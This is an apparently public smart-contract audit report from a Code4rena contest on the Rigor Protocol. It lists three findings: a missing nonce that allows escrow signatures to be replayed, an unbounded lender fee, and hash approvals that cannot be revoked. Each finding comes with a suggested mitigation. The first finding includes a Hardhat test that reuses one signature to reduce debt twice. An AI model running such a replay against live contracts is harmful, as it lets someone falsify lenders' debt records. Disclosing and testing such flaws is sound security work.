Rigor Protocol contest - cccz's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L509-L552

Vulnerability details

Impact

In the escrow function of the Community contract, the nonce is not included in _data, resulting in signatures that can be reused to reduce debt. Write unit tests based on https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/test/utils/communityTests.ts#L1918-L1981

 it('should be able to reduce debt using escrow', async () => {
      const lenderSigner = signers[2];
      const agentSigner = signers[3];
      const builderSigner = signers[0];
      const randomHash = '0x0a19';

      const [amountToReturnFromContract, lendAmountFromContract] =
        await communityContract.returnToLender(
          newCommunityID,
          project2.address,
        );
      const debtToReduce =
        amountToReturnFromContract.toNumber() -
        lendAmountFromContract.toNumber();
      const data = {
        types: [
          'uint256',
          'address',
          'address',
          'address',
          'address',
          'uint256',
          'bytes',
        ],
        values: [
          newCommunityID,
          builderSigner.address,
          lenderSigner.address,
          agentSigner.address,
          project2.address,
          debtToReduce,
          randomHash,
        ],
      };
      const [encodedData, signature] = await multisig(data, [
        lenderSigner,
        builderSigner,
        agentSigner,
      ]);

      const tx = await communityContract.escrow(encodedData, signature);
      await tx.wait();

      expect(tx)
        .to.emit(communityContract, 'DebtReduced')
        .withArgs(
          newCommunityID,
          project2.address,
          lenderSigner.address,
          debtToReduce,
          randomHash,
        );
      expect(tx)
        .to.emit(communityContract, 'DebtReducedByEscrow')
        .withArgs(agentSigner.address);

        const tx1 = await communityContract.escrow(encodedData, signature); // audit : reuse the signature
        await tx1.wait();
  
        expect(tx1)
          .to.emit(communityContract, 'DebtReduced')
          .withArgs(
            newCommunityID,
            project2.address,
            lenderSigner.address,
            debtToReduce,
            randomHash,
          );
        expect(tx1)
          .to.emit(communityContract, 'DebtReducedByEscrow')
          .withArgs(agentSigner.address);

      const [returnAfter] = await communityContract.returnToLender(
        newCommunityID,
        project2.address,
      );
      expect(amountToReturnFromContract.sub(returnAfter)).to.equal(
        debtToReduce*2, // audit: reduce twice
      );
    });

Unit tests pass, indicating that users can use the same signature to reduce debt.

Proof of Concept

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L509-L552

Tools Used

yarn

Recommended Mitigation Steps

Consider adding a nonce field to the _data used in the escrow function, +1 after each execution to prevent signature reuse

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L185-L197

Vulnerability details

Impact

The admin can set the lenderFee to a large number in the replaceLenderFee function of the HomeFi contract, which may cause the _lenderFee in the lendToProject function of the Community contract to be too large and the project to receive too few tokens.

Proof of Concept

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L185-L197 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L94-L105 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L393-L397

Tools Used

None

Recommended Mitigation Steps

Consider limiting lenderFee in replaceLenderFee function

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L501-L506

Vulnerability details

Impact

In the Project and Community contracts, the approveHash function is used to allow anyone to sign the hash. But the approveHash function will only set approvedHashes[_msgSender()][_hash] = true, which means that the user cannot cancel the approval after calling approveHash. The approval will only be deleted after it is executed.

    function approveHash(bytes32 _hash) external virtual override {
        // allowing anyone to sign, as its hard to add restrictions here
        approvedHashes[_msgSender()][_hash] = true;

        emit ApproveHash(_hash, _msgSender());
    }

Proof of Concept

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L501-L506 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L108-L115

Tools Used

None

Recommended Mitigation Steps

Consider implementing the unapproveHash function

    function unapproveHash(bytes32 _hash) external virtual override {
        // allowing anyone to sign, as its hard to add restrictions here
        approvedHashes[_msgSender()][_hash] = false;

        emit UnapproveHash(_hash, _msgSender());
    }